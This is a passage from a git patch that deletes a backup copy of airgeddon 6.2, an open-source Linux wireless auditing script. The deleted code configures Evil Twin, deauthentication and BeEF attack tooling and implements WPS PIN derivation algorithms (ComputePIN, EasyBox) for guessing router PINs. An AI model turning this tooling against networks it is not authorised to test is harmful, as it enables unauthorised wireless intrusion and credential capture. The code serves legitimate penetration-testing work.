messages +function echo_brown() { + + debug_print + + last_echo "${1}" "${brown_color}" +} + +#Print white messages +function echo_white() { + + debug_print + + last_echo "${1}" "${white_color}" +} + +for f in SIGINT SIGHUP INT SIGTSTP; do + trap_cmd="trap \"capture_traps ${f}\" \"${f}\"" + eval "${trap_cmd}" +done +welcome From bd56bc1eb6e380240d3844285d0a4c49faa37deb Mon Sep 17 00:00:00 2001 From: xtonousou Date: Thu, 20 Apr 2017 01:35:26 +0300 Subject: [PATCH 02/28] Updated tools arrays with possible package names --- airgeddon.sh~ | 8529 ------------------------------------------------- 1 file changed, 8529 deletions(-) delete mode 100644 airgeddon.sh~ diff --git a/airgeddon.sh~ b/airgeddon.sh~ deleted file mode 100644 index 1880737a6..000000000 --- a/airgeddon.sh~ +++ /dev/null @@ -1,8529 +0,0 @@ -#!/usr/bin/env bash -#Title........: airgeddon.sh -#Description..: This is a multi-use bash script for Linux systems to audit wireless networks. -#Author.......: v1s1t0r -#Date.........: 20170408 -#Version......: 6.2 -#Usage........: bash airgeddon.sh -#Bash Version.: 4.2 or later - -#Enabled with extra-verbose mode 2 / Enabled 1 / Disabled 0 - Debug mode for faster development skipping intro and initial checks - Default value 0 -debug_mode=0 - -#Enabled 1 / Disabled 0 - Auto update feature (it has no effect on debug mode) - Default value 1 -auto_update=1 - -#Enabled 1 / Disabled 0 - Auto change language feature - Default value 1 -auto_change_language=1 - -#Language vars -#Change this line to select another default language. Select one from available values in array -language="ENGLISH" -declare -A lang_association=( - ["en"]="ENGLISH" - ["es"]="SPANISH" - ["fr"]="FRENCH" - ["ca"]="CATALAN" - ["pt"]="PORTUGUESE" - ["ru"]="RUSSIAN" - ["gr"]="GREEK" - ) - -#Tools vars -essential_tools_names=( - "ifconfig" - "iwconfig" - "iw" - "awk" - "airmon-ng" - "airodump-ng" - "aircrack-ng" - "xterm" - ) - -optional_tools_names=( - "wpaclean" - "crunch" - "aireplay-ng" - "mdk3" - "hashcat" - "hostapd" - "dhcpd" - "iptables" - "ettercap" - "etterlog" - "sslstrip" - "lighttpd" - "dnsspoof" - "wash" - "reaver" - "bully" - "pixiewps" - "unbuffer" - "bettercap" - "beef" - ) - -update_tools=("curl") - -declare -A possible_package_names=( - [${essential_tools_names[0]}]="net-tools" #ifconfig - [${essential_tools_names[1]}]="wireless-tools / wireless_tools" #iwconfig - [${essential_tools_names[2]}]="iw" #iw - [${essential_tools_names[3]}]="awk / gawk" #awk - [${essential_tools_names[4]}]="aircrack-ng" #airmon-ng - [${essential_tools_names[5]}]="aircrack-ng" #airodump-ng - [${essential_tools_names[6]}]="aircrack-ng" #aircrack-ng - [${essential_tools_names[7]}]="xterm" #xterm - [${optional_tools_names[0]}]="aircrack-ng" #wpaclean - [${optional_tools_names[1]}]="crunch" #crunch - [${optional_tools_names[2]}]="aircrack-ng" #aireplay-ng - [${optional_tools_names[3]}]="mdk3" #mdk3 - [${optional_tools_names[4]}]="hashcat" #hashcat - [${optional_tools_names[5]}]="hostapd" #hostapd - [${optional_tools_names[6]}]="isc-dhcp-server / dhcp-server / dhcp" #dhcpd - [${optional_tools_names[7]}]="iptables" #iptables - [${optional_tools_names[8]}]="ettercap / ettercap-text-only / ettercap-graphical" #ettercap - [${optional_tools_names[9]}]="ettercap / ettercap-text-only / ettercap-graphical" #etterlog - [${optional_tools_names[10]}]="sslstrip" #sslstrip - [${optional_tools_names[11]}]="lighttpd" #lighttpd - [${optional_tools_names[12]}]="dsniff" #dnsspoof - [${optional_tools_names[13]}]="reaver" #wash - [${optional_tools_names[14]}]="reaver" #reaver - [${optional_tools_names[15]}]="bully" #bully - [${optional_tools_names[16]}]="pixiewps" #pixiewps - [${optional_tools_names[17]}]="expect / expect-dev" #unbuffer - [${optional_tools_names[18]}]="bettercap" #bettercap - [${optional_tools_names[19]}]="beef-xss / beef-project" #beef - [${update_tools[0]}]="curl" #curl - ) - -#More than one alias can be defined separated by spaces at value -declare -A possible_alias_names=( - ["beef"]="beef-xss beef-server" - ) - -#General vars -airgeddon_version="6.2" -language_strings_expected_version="6.2-1" -standardhandshake_filename="handshake-01.cap" -tmpdir="/tmp/" -osversionfile_dir="/etc/" -minimum_bash_version_required="4.2" -hashcat3_version="3.0" -resume_message=224 -abort_question=12 -pending_of_translation="[PoT]" -escaped_pending_of_translation="\[PoT\]" -standard_resolution="1024x768" -curl_404_error="404: Not Found" -language_strings_file="language_strings.sh" - -#Docker vars -docker_based_distro="Kali" -docker_io_dir="/io" - -#WPS vars -minimum_reaver_pixiewps_version="1.5.2" -minimum_bully_pixiewps_version="1.1" -minimum_bully_verbosity4_version="1.1" -known_pins_dbfile="known_pins.db" -pins_dbfile_checksum="pindb_checksum.txt" -wps_default_generic_pin="12345670" -wps_attack_script_file="ag.wpsattack.sh" -wps_out_file="ag.wpsout.txt" -timeout_secs_per_pin="30" -timeout_secs_per_pixiedust="30" - -#Repository and contact vars -github_user="v1s1t0r1sh3r3" -github_repository="airgeddon" -branch="master" -script_filename="airgeddon.sh" -urlgithub="https://github.com/${github_user}/${github_repository}" -urlscript_directlink="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${script_filename}" -urlscript_pins_dbfile="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${known_pins_dbfile}" -urlscript_pins_dbfile_checksum="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${pins_dbfile_checksum}" -urlscript_language_strings_file="https://raw.githubusercontent.com/${github_user}/${github_repository}/${branch}/${language_strings_file}" -urlgithub_wiki="https://github.com/${github_user}/${github_repository}/wiki" -host_to_check_internet="github.com" -mail="v1s1t0r.1s.h3r3@gmail.com" -author="v1s1t0r" - -#Dhcpd, Hostapd and misc Evil Twin vars -ip_range="192.168.1.0" -alt_ip_range="172.16.250.0" -router_ip="192.168.1.1" -alt_router_ip="172.16.250.1" -broadcast_ip="192.168.1.255" -alt_broadcast_ip="172.16.250.255" -range_start="192.168.1.33" -range_stop="192.168.1.100" -alt_range_start="172.16.250.33" -alt_range_stop="172.16.250.100" -std_c_mask="255.255.255.0" -ip_mask="255.255.255.255" -dhcpd_file="ag.dhcpd.conf" -internet_dns1="8.8.8.8" -internet_dns2="8.8.4.4" -sslstrip_port="10000" -bettercap_proxy_port="8080" -bettercap_dns_port="5300" -minimum_bettercap_advanced_options="1.5.9" -sslstrip_file="ag.sslstrip.log" -ettercap_file="ag.ettercap.log" -bettercap_file="ag.bettercap.log" -beef_port="3000" -beef_control_panel_url="http://127.0.0.1:${beef_port}/ui/panel" -jshookfile="hook.js" -beef_file="ag.beef.conf" -beef_pass="airgeddon" -beef_db="beef.db" -beef_installation_url="https://github.com/beefproject/beef/wiki/Installation" -hostapd_file="ag.hostapd.conf" -control_file="ag.control.sh" -webserver_file="ag.lighttpd.conf" -webdir="www/" -indexfile="index.htm" -checkfile="check.htm" -cssfile="portal.css" -jsfile="portal.js" -attemptsfile="ag.et_attempts.txt" -currentpassfile="ag.et_currentpass.txt" -successfile="ag.et_success.txt" -processesfile="ag.et_processes.txt" -possible_dhcp_leases_files=( - "/var/lib/dhcp/dhcpd.leases" - "/var/state/dhcp/dhcpd.leases" - "/var/lib/dhcpd/dhcpd.leases" - ) -possible_beef_known_locations=( - "/usr/share/beef/" - "/usr/share/beef-xss/" - "/opt/beef/" - "/opt/beef-project/" - #Custom BeEF location (set=0) - ) - -#Distros vars -known_compatible_distros=( - "Wifislax" - "Kali" - "Parrot" - "Backbox" - "BlackArch" - "Cyborg" - "Ubuntu" - "Debian" - "SuSE" - "CentOS" - "Gentoo" - "Fedora" - "Red Hat" - "Arch" - "OpenMandriva" - ) - -known_arm_compatible_distros=( - "Raspbian" - "Parrot arm" - "Kali arm" - ) - -#Hint vars -declare main_hints=(128 134 163) -declare dos_hints=(129 131 133) -declare handshake_hints=(127 130 132 136) -declare handshake_attack_hints=(142) -declare decrypt_hints=(171 178 179 208 244) -declare select_interface_hints=(246) -declare language_hints=(250) -declare evil_twin_hints=(254 258 264 269 309 328 400) -declare evil_twin_dos_hints=(267 268) -declare beef_hints=(408) -declare wps_hints=(342 343 344 356 369 390) - -#Charset vars -crunch_lowercasecharset="abcdefghijklmnopqrstuvwxyz" -crunch_uppercasecharset="ABCDEFGHIJKLMNOPQRSTUVWXYZ" -crunch_numbercharset="0123456789" -crunch_symbolcharset="!#$%/=?{}[]-*:;" -hashcat_charsets=("?l" "?u" "?d" "?s") - -#Colors vars -green_color="\033[1;32m" -green_color_title="\033[0;32m" -red_color="\033[1;31m" -red_color_slim="\033[0;031m" -blue_color="\033[1;34m" -cyan_color="\033[1;36m" -brown_color="\033[0;33m" -yellow_color="\033[1;33m" -pink_color="\033[1;35m" -white_color="\e[1;97m" -normal_color="\e[1;0m" - -#Check coherence between script and language_strings file -function check_language_strings() { - - debug_print - - if [ -f "${scriptfolder}${language_strings_file}" ]; then - - language_file_found=1 - language_file_mismatch=0 - #shellcheck source=./language_strings.sh - source "${scriptfolder}${language_strings_file}" - set_language_strings_version - if [ "${language_strings_version}" != "${language_strings_expected_version}" ]; then - language_file_mismatch=1 - fi - else - language_file_found=0 - fi - - if [[ "${language_file_found}" -eq 0 ]] || [[ "${language_file_mismatch}" -eq 1 ]]; then - - language_strings_handling_messages - - generate_dynamic_line "airgeddon" "title" - if [ "${language_file_found}" -eq 0 ]; then - echo_red "${language_strings_no_file[${language}]}" - if [ "${airgeddon_version}" = "6.1" ]; then - echo - echo_yellow "${language_strings_first_time[${language}]}" - fi - elif [ "${language_file_mismatch}" -eq 1 ]; then - echo_red "${language_strings_file_mismatch[${language}]}" - fi - - echo - echo_blue "${language_strings_try_to_download[${language}]}" - read -p "${language_strings_key_to_continue[${language}]}" -r - check_internet_access "${host_to_check_internet}" - - if [ "$?" = "0" ]; then - - download_language_strings_file - if [ "$?" = "0" ]; then - echo - echo_yellow "${language_strings_successfully_downloaded[${language}]}" - read -p "${language_strings_key_to_continue[${language}]}" -r - clear - return 0 - else - echo - echo_red "${language_strings_failed_downloading[${language}]}" - fi - else - echo - echo_red "${language_strings_failed_downloading[${language}]}" - fi - - echo - echo_blue "${language_strings_exiting[${language}]}" - echo - hardcore_exit - fi -} - -#Download the language strings file -function download_language_strings_file() { - - debug_print - - remote_language_strings_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_language_strings_file} 2> /dev/null) - - if [ "${remote_language_strings_file}" != "${curl_404_error}" ]; then - echo "${remote_language_strings_file}" > "${scriptfolder}${language_strings_file}" - chmod +x "${scriptfolder}${language_strings_file}" > /dev/null 2>&1 - #shellcheck source=./language_strings.sh - source "${scriptfolder}${language_strings_file}" - return 0 - else - return 1 - fi -} - -#Set messages for language_strings handling -function language_strings_handling_messages() { - - declare -gA language_strings_no_file - language_strings_no_file["ENGLISH"]="Error. Language strings file not found" - language_strings_no_file["SPANISH"]="Error. No se ha encontrado el fichero de traducciones" - language_strings_no_file["FRENCH"]="Erreur. Fichier contenant les traductions absent" - language_strings_no_file["CATALAN"]="Error. No s'ha trobat el fitxer de traduccions" - language_strings_no_file["PORTUGUESE"]="Erro. O arquivo de tradução não foi encontrado" - language_strings_no_file["RUSSIAN"]="Ошибка. Не найден языковой файл" - language_strings_no_file["GREEK"]="Σφάλμα. Το αρχείο γλωσσών δεν βρέθηκε" - - declare -gA language_strings_file_mismatch - language_strings_file_mismatch["ENGLISH"]="Error. The language strings file found mismatches expected version" - language_strings_file_mismatch["SPANISH"]="Error. El fichero de traducciones encontrado no es la versión esperada" - language_strings_file_mismatch["FRENCH"]="Erreur. Les traductions trouvées ne sont pas celles attendues" - language_strings_file_mismatch["CATALAN"]="Error. El fitxer de traduccions trobat no és la versió esperada" - language_strings_file_mismatch["PORTUGUESE"]="Erro. O a versão do arquivos de tradução encontrado é a incompatível" - language_strings_file_mismatch["RUSSIAN"]="Ошибка. Языковой файл не соответствует ожидаемой версии" - language_strings_file_mismatch["GREEK"]="Σφάλμα. Το αρχείο γλωσσών που έχει βρεθεί δεν αντιστοιχεί με την προαπαιτούμενη έκδοση" - - declare -gA language_strings_try_to_download - language_strings_try_to_download["ENGLISH"]="airgeddon will try to download the language strings file..." - language_strings_try_to_download["SPANISH"]="airgeddon intentará descargar el fichero de traducciones..." - language_strings_try_to_download["FRENCH"]="airgeddon va essayer de télécharger les fichiers de traductions..." - language_strings_try_to_download["CATALAN"]="airgeddon intentarà descarregar el fitxer de traduccions..." - language_strings_try_to_download["PORTUGUESE"]="O airgeddon tentará baixar o arquivo de tradução..." - language_strings_try_to_download["RUSSIAN"]="airgeddon попытается загрузить языковой файл..." - language_strings_try_to_download["GREEK"]="Το airgeddon θα προσπαθήσει να κατεβάσει το αρχείο γλωσσών..." - - declare -gA language_strings_successfully_downloaded - language_strings_successfully_downloaded["ENGLISH"]="Language strings file was successfully downloaded" - language_strings_successfully_downloaded["SPANISH"]="Se ha descargado con éxito el fichero de traducciones" - language_strings_successfully_downloaded["FRENCH"]="Les fichiers traduction ont été correctement téléchargés" - language_strings_successfully_downloaded["CATALAN"]="S'ha descarregat amb èxit el fitxer de traduccions" - language_strings_successfully_downloaded["PORTUGUESE"]="O arquivo de tradução foi baixado com sucesso" - language_strings_successfully_downloaded["RUSSIAN"]="Языковой файл был успешно загружен" - language_strings_successfully_downloaded["GREEK"]="Το αρχείο γλωσσών κατέβηκε με επιτυχία" - - declare -gA language_strings_failed_downloading - language_strings_failed_downloading["ENGLISH"]="The language string file can't be downloaded. Check your internet connection or download it manually from ${normal_color}${urlgithub}" - language_strings_failed_downloading["SPANISH"]="No se ha podido descargar el fichero de traducciones. Comprueba tu conexión a internet o descárgalo manualmente de ${normal_color}${urlgithub}" - language_strings_failed_downloading["FRENCH"]="Impossible de télécharger le fichier traduction. Vérifiez votre connexion à internet ou téléchargez le fichier manuellement ${normal_color}${urlgithub}" - language_strings_failed_downloading["CATALAN"]="No s'ha pogut descarregar el fitxer de traduccions. Comprova la connexió a internet o descarrega'l manualment de ${normal_color}${urlgithub}" - language_strings_failed_downloading["PORTUGUESE"]="Não foi possível baixar o arquivos de tradução. Verifique a sua conexão com a internet ou baixe manualmente em ${normal_color}${urlgithub}" - language_strings_failed_downloading["RUSSIAN"]="Языковой файл не может быть загружен. Проверьте подключение к Интернету или загрузите его вручную с ${normal_color}${urlgithub}" - language_strings_failed_downloading["GREEK"]="Το αρχείο γλωσσών δεν μπορεί να κατέβει. Ελέγξτε τη σύνδεση σας με το διαδίκτυο ή κατεβάστε το χειροκίνητα ${normal_color}${urlgithub}" - - declare -gA language_strings_first_time - language_strings_first_time["ENGLISH"]="If you are seeing this message after an automatic update, don't be scared! It's probably because airgeddon has different file structure since version 6.1. It will be automatically fixed" - language_strings_first_time["SPANISH"]="Si estás viendo este mensaje tras una actualización automática, ¡no te asustes! probablemente es porque a partir de la versión 6.1 la estructura de ficheros de airgeddon ha cambiado. Se reparará automáticamente" - language_strings_first_time["FRENCH"]="Si vous voyez ce message après une mise à jour automatique ne vous inquiétez pas! A partir de la version 6.1 la structure de fichier d'airgeddon a changé. L'ajustement se fera automatiquement" - language_strings_first_time["CATALAN"]="Si estàs veient aquest missatge després d'una actualització automàtica, no t'espantis! probablement és perquè a partir de la versió 6.1 l'estructura de fitxers de airgeddon ha canviat. Es repararà automàticament" - language_strings_first_time["PORTUGUESE"]="Se você está vendo esta mensagem depois de uma atualização automática, não tenha medo! A partir da versão 6.1 da estrutura de arquivos do airgeddon mudou. Isso será corrigido automaticamente" - language_strings_first_time["RUSSIAN"]="Если вы видите это сообщение после автоматического обновления, не переживайте! Вероятно, это объясняется тем, что, начиная с версии 6.1, airgeddon имеет другую структуру файлов. Проблема будет разрешена автоматически" - language_strings_first_time["GREEK"]="Εάν βλέπετε αυτό το μήνυμα μετά από κάποια αυτόματη ενημέρωση, μην τρομάξετε! Πιθανόν είναι λόγω της διαφορετικής δομής του airgeddon μετά από την έκδοση 6.1. Θα επιδιορθωθεί αυτόματα" - - declare -gA language_strings_exiting - language_strings_exiting["ENGLISH"]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" - language_strings_exiting["SPANISH"]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" - language_strings_exiting["FRENCH"]="Fermeture du script airgeddon v${airgeddon_version} - A bientôt! :)" - language_strings_exiting["CATALAN"]="Sortint de airgeddon script v${airgeddon_version} - Ens veiem aviat! :)" - language_strings_exiting["PORTUGUESE"]="Saindo do script airgeddon v${airgeddon_version} - Até breve! :)" - language_strings_exiting["RUSSIAN"]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" - language_strings_exiting["GREEK"]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" - - declare -gA language_strings_key_to_continue - language_strings_key_to_continue["ENGLISH"]="Press [Enter] key to continue..." - language_strings_key_to_continue["SPANISH"]="Pulsa la tecla [Enter] para continuar..." - language_strings_key_to_continue["FRENCH"]="Pressez [Enter] pour continuer..." - language_strings_key_to_continue["CATALAN"]="Prem la tecla [Enter] per continuar..." - language_strings_key_to_continue["PORTUGUESE"]="Pressione a tecla [Enter] para continuar..." - language_strings_key_to_continue["RUSSIAN"]="Нажмите клавишу [Enter] для продолжения..." - language_strings_key_to_continue["GREEK"]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." -} - -#Print the current line of where this was called and the function's name. Applies to some (which are useful) functions -function debug_print() { - - if [ ${debug_mode} -eq 2 ]; then - - declare excluded_functions=( - "ask_yesno" - "check_pending_of_translation" - "contains_element" - "echo_blue" - "echo_brown" - "echo_cyan" - "echo_green" - "echo_green_title" - "echo_pink" - "echo_red" - "echo_red_slim" - "echo_white" - "echo_yellow" - "generate_dynamic_line" - "interrupt_checkpoint" - "language_strings" - "last_echo" - "print_hint" - "print_large_separator" - "print_simple_separator" - "read_yesno" - "remove_warnings" - "special_text_missed_optional_tool" - "store_array" - "under_construction_message" - ) - - if (IFS=$'\n'; echo "${excluded_functions[*]}") | grep -qFx "${FUNCNAME[1]}"; then - return 1 - fi - - #TODO "${@}" to print parameters - echo "Line:${BASH_LINENO[1]}" "${FUNCNAME[1]}" - return 0 - fi -} - -#Set the message to show again after an interrupt ([Ctrl+C] or [Ctrl+Z]) without exiting -function interrupt_checkpoint() { - - debug_print - - if [ -z "${last_buffered_type1}" ]; then - last_buffered_message1=${1} - last_buffered_message2=${1} - last_buffered_type1=${2} - last_buffered_type2=${2} - else - if [ "${1}" -ne ${resume_message} ]; then - last_buffered_message2=${last_buffered_message1} - last_buffered_message1=${1} - last_buffered_type2=${last_buffered_type1} - last_buffered_type1=${2} - fi - fi -} - -#Add the text on a menu when you miss an optional tool -function special_text_missed_optional_tool() { - - debug_print - - declare -a required_tools=("${!3}") - - allowed_menu_option=1 - if [ ${debug_mode} -eq 0 ]; then - tools_needed="${optionaltool_needed[${1}]}" - for item in "${required_tools[@]}"; do - if [ "${optional_tools[${item}]}" -eq 0 ]; then - allowed_menu_option=0 - tools_needed+="${item} " - fi - done - fi - - if [ ${allowed_menu_option} -eq 1 ]; then - last_echo "${arr[${1},${2}]}" "${normal_color}" - else - [[ ${arr[${1},${2}]} =~ ^([0-9]+)\.(.*)$ ]] && forbidden_options+=("${BASH_REMATCH[1]}") - tools_needed=${tools_needed:: -1} - echo_red_slim "${arr[${1},${2}]} (${tools_needed})" - fi -} - -#Generate the chars in front of and behind a text for titles and separators -function generate_dynamic_line() { - - debug_print - - local type=${2} - if [ "${type}" = "title" ]; then - ncharstitle=78 - titlechar="*" - elif [ "${type}" = "separator" ]; then - ncharstitle=58 - titlechar="-" - fi - - titletext=${1} - titlelength=${#titletext} - finaltitle="" - - for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do - finaltitle="${finaltitle}${titlechar}" - done - - if [ "${type}" = "title" ]; then - finaltitle="${finaltitle} ${titletext} " - elif [ "${type}" = "separator" ]; then - finaltitle="${finaltitle} (${titletext}) " - fi - - for ((i=0; i < (ncharstitle/2 - titlelength+(titlelength/2)); i++)); do - finaltitle="${finaltitle}${titlechar}" - done - - if [ $((titlelength % 2)) -gt 0 ]; then - finaltitle+="${titlechar}" - fi - - if [ "${type}" = "title" ]; then - echo_green_title "${finaltitle}" - elif [ "${type}" = "separator" ]; then - echo_blue "${finaltitle}" - fi -} - -#Wrapper to check managed mode on an interface -function check_to_set_managed() { - - debug_print - - check_interface_mode - case "${ifacemode}" in - "Managed") - echo - language_strings "${language}" 0 "red" - language_strings "${language}" 115 "read" - return 1 - ;; - "(Non wifi card)") - echo - language_strings "${language}" 1 "red" - language_strings "${language}" 115 "read" - return 1 - ;; - esac - return 0 -} - -#Wrapper to check monitor mode on an interface -function check_to_set_monitor() { - - debug_print - - check_interface_mode - case "${ifacemode}" in - "Monitor") - echo - language_strings "${language}" 10 "red" - language_strings "${language}" 115 "read" - return 1 - ;; - "(Non wifi card)") - echo - language_strings "${language}" 13 "red" - language_strings "${language}" 115 "read" - return 1 - ;; - esac - return 0 -} - -#Check for monitor mode on an interface -function check_monitor_enabled() { - - debug_print - - mode=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) - - if [[ ${mode} != "Monitor" ]]; then - echo - language_strings "${language}" 14 "red" - language_strings "${language}" 115 "read" - return 1 - fi - return 0 -} - -#Check if an interface is a wifi card or not -function check_interface_wifi() { - - debug_print - - execute_iwconfig_fix - return $? -} - -#Execute the iwconfig fix to know if an interface is a wifi card or not -function execute_iwconfig_fix() { - - debug_print - - iwconfig_fix - iwcmd="iwconfig ${interface} ${iwcmdfix} > /dev/null 2> /dev/null" - eval "${iwcmd}" - - return $? -} - -#Create a list of interfaces associated to its macs -function renew_ifaces_and_macs_list() { - - debug_print - - readarray -t IFACES_AND_MACS < <(ip link | egrep "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) - declare -gA ifaces_and_macs - for iface_name in "${IFACES_AND_MACS[@]}"; do - mac_item=$(cat < "/sys/class/net/${iface_name}/address" 2> /dev/null) - if [ -n "${mac_item}" ]; then - ifaces_and_macs[${iface_name}]=${mac_item} - fi - done - - declare -gA ifaces_and_macs_switched - for iface_name in "${!ifaces_and_macs[@]}"; do - ifaces_and_macs_switched[${ifaces_and_macs[${iface_name}]}]=${iface_name} - done -} - -#Check the interface coherence between interface names and macs -function check_interface_coherence() { - - debug_print - - renew_ifaces_and_macs_list - interface_auto_change=0 - - interface_found=0 - for iface_name in "${!ifaces_and_macs[@]}"; do - if [ "${interface}" = "${iface_name}" ]; then - interface_found=1 - interface_mac=${ifaces_and_macs[${iface_name}]} - break - fi - done - - if [ ${interface_found} -eq 0 ]; then - for iface_mac in "${ifaces_and_macs[@]}"; do - iface_mac_tmp=${iface_mac:0:15} - interface_mac_tmp=${interface_mac:0:15} - if [ "${iface_mac_tmp}" = "${interface_mac_tmp}" ]; then - interface=${ifaces_and_macs_switched[${iface_mac}]} - interface_auto_change=1 - break - fi - done - fi - - return ${interface_auto_change} -} - -#Prepare the vars to be used on wps pin database attacks -function set_wps_mac_parameters() { - - debug_print - - six_wpsbssid_first_digits=${wps_bssid:0:8} - six_wpsbssid_first_digits_clean=${six_wpsbssid_first_digits//:} - six_wpsbssid_last_digits=${wps_bssid: -8} - six_wpsbssid_last_digits_clean=${six_wpsbssid_last_digits//:} - four_wpsbssid_last_digits=${wps_bssid: -5} - four_wpsbssid_last_digits_clean=${four_wpsbssid_last_digits//:} -} - -#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 1 -function calculate_computepin_algorithm_step1() { - - debug_print - - hex_to_dec=$(printf '%d\n' 0x"${six_wpsbssid_last_digits_clean}") 2> /dev/null - computepin_pin=$((hex_to_dec % 10000000)) -} - -#Calculate pin based on Zhao Chunsheng algorithm (computepin), step 2 -function calculate_computepin_algorithm_step2() { - - debug_print - - computepin_pin=$(printf '%08d\n' $((10#${computepin_pin} * 10 + checksum_digit))) -} - -#Calculate pin based on Stefan Viehböck algorithm (easybox) -function calculate_easybox_algorithm() { - - debug_print - - hex_to_dec=($(printf "%04d" "0x${four_wpsbssid_last_digits_clean}" | sed 's/.*\(....\)/\1/;s/./& /g')) - [[ ${four_wpsbssid_last_digits_clean} =~ ${four_wpsbssid_last_digits_clean//?/(.)} ]] && hexi=($(printf '%s\n' "${BASH_REMATCH[*]:1}")) - - c1=$(printf "%d + %d + %d + %d" "${hex_to_dec[0]}" "${hex_to_dec[1]}" "0x${hexi[2]}" "0x${hexi[3]}") - c2=$(printf "%d + %d + %d + %d" "0x${hexi[0]}" "0x${hexi[1]}" "${hex_to_dec[2]}" "${hex_to_dec[3]}") - - K1=$((c1 % 16)) - K2=$((c2 % 16)) - X1=$((K1 ^ hex_to_dec[3])) - X2=$((K1 ^ hex_to_dec[2])) - X3=$((K1 ^ hex_to_dec[1])) - Y1=$((K2 ^ 0x${hexi[1]})) - Y2=$((K2 ^ 0x${hexi[2]})) - Z1=$((0x${hexi[2]} ^ hex_to_dec[3])) - Z2=$((0x${hexi[3]} ^ hex_to_dec[2])) - - easybox_pin=$(printf '%08d\n' "$((0x$X1$X2$Y1$Y2$Z1$Z2$X3))" | rev | cut -c -7 | rev) -} - -#Calculate the last digit on pin following the checksum rule -function pin_checksum_rule() { - - debug_print - - current_calculated_pin=$((10#${1} * 10)) - - accum=0 - accum=$((accum + 3 * (current_calculated_pin/10000000 % 10))) - accum=$((accum + current_calculated_pin/1000000 % 10)) - accum=$((accum + 3 * (current_calculated_pin/100000 % 10))) - accum=$((accum + current_calculated_pin/10000 % 10)) - accum=$((accum + 3 * (current_calculated_pin/1000 % 10))) - accum=$((accum + current_calculated_pin/100 % 10)) - accum=$((accum + 3 * (current_calculated_pin/10 % 10))) - - control_digit=$((accum % 10)) - checksum_digit=$((10 - control_digit)) - checksum_digit=$((checksum_digit % 10)) -} - -#Manage the calls to check common wps pin algorithms -function check_and_set_common_algorithms() { - - debug_print - - echo - language_strings "${language}" 388 "blue" - declare -g calculated_pins=("${wps_default_generic_pin}") - - calculate_computepin_algorithm_step1 - pin_checksum_rule "${computepin_pin}" - calculate_computepin_algorithm_step2 - calculated_pins+=("${computepin_pin}") - - calculate_easybox_algorithm - pin_checksum_rule "${easybox_pin}" - easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) - calculated_pins+=("${easybox_pin}") - - integrate_algorithms_pins - if [ "$?" = "0" ]; then - echo - language_strings "${language}" 389 "yellow" - fi -} - -#Integrate calculated pins from algorithms into pins array -function integrate_algorithms_pins() { - - debug_print - - some_calculated_pin_included=0 - for pin in "${calculated_pins[@]}"; do - this_pin_already_included=0 - for item in "${pins_found[@]}"; do - if [ "${item}" = "${pin}" ]; then - this_pin_already_included=1 - break - fi - done - - if [ ${this_pin_already_included} -eq 0 ]; then - pins_found+=(${pin}) - counter_pins_found=$((counter_pins_found + 1)) - some_calculated_pin_included=1 - fi - done - - if [ "${some_calculated_pin_included}" -eq 1 ]; then - return 0 - fi - return 1 -} - -#Search for target wps bssid mac in pin database and set the vars to be used -function search_in_pin_database() { - - debug_print - - bssid_found_in_db=0 - counter_pins_found=0 - declare -g pins_found=() - for item in "${!PINDB[@]}"; do - if [ "${item}" = "${six_wpsbssid_first_digits_clean}" ]; then - bssid_found_in_db=1 - arrpins=(${PINDB[${item//[[:space:]]/ }]}) - for item2 in "${arrpins[@]}"; do - counter_pins_found=$((counter_pins_found+1)) - pins_found+=(${item2}) - done - break - fi - done -} - -#Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one -function prepare_et_monitor() { - - debug_print - - disable_rfkill - - phy_iface=$(basename "$(readlink "/sys/class/net/${interface}/phy80211")") - iface_phy_number=${phy_iface:3:1} - iface_monitor_et_deauth="mon${iface_phy_number}" - - iw phy "${phy_iface}" interface add "${iface_monitor_et_deauth}" type monitor 2> /dev/null - ifconfig "${iface_monitor_et_deauth}" up > /dev/null 2>&1 - iwconfig "${iface_monitor_et_deauth}" channel "${channel}" > /dev/null 2>&1 -} - -#Assure the mode of the interface before the Evil Twin process -function prepare_et_interface() { - - debug_print - - et_initial_state=${ifacemode} - - if [ "${ifacemode}" != "Managed" ]; then - new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station) - ifacemode="Managed" - [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" - if [ "${interface}" != "${new_interface}" ]; then - check_interface_coherence - if [ "$?" = "0" ]; then - interface=${new_interface} - fi - echo - language_strings "${language}" 15 "yellow" - fi - fi -} - -#Restore the state of the interfaces after Evil Twin process -function restore_et_interface() { - - debug_print - - echo - language_strings "${language}" 299 "blue" - - disable_rfkill - - mac_spoofing_desired=0 - - iw dev "${iface_monitor_et_deauth}" del > /dev/null 2>&1 - - if [ "${et_initial_state}" = "Managed" ]; then - ifconfig "${interface}" down > /dev/null 2>&1 - iwconfig "${interface}" mode managed > /dev/null 2>&1 - ifconfig "${interface}" up > /dev/null 2>&1 - ifacemode="Managed" - else - new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) - ifacemode="Monitor" - [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" - if [ "${interface}" != "${new_interface}" ]; then - interface=${new_interface} - fi - fi -} - -#Unblock if possible the interface if blocked -function disable_rfkill() { - - debug_print - - if hash rfkill 2> /dev/null; then - rfkill unblock all > /dev/null 2>&1 - fi -} - -#Put the interface on managed mode and manage the possible name change -function managed_option() { - - debug_print - - check_to_set_managed - - if [ "$?" != "0" ]; then - return - fi - - disable_rfkill - - language_strings "${language}" 17 "blue" - ifconfig "${interface}" up - - new_interface=$(${airmon} stop "${interface}" 2> /dev/null | 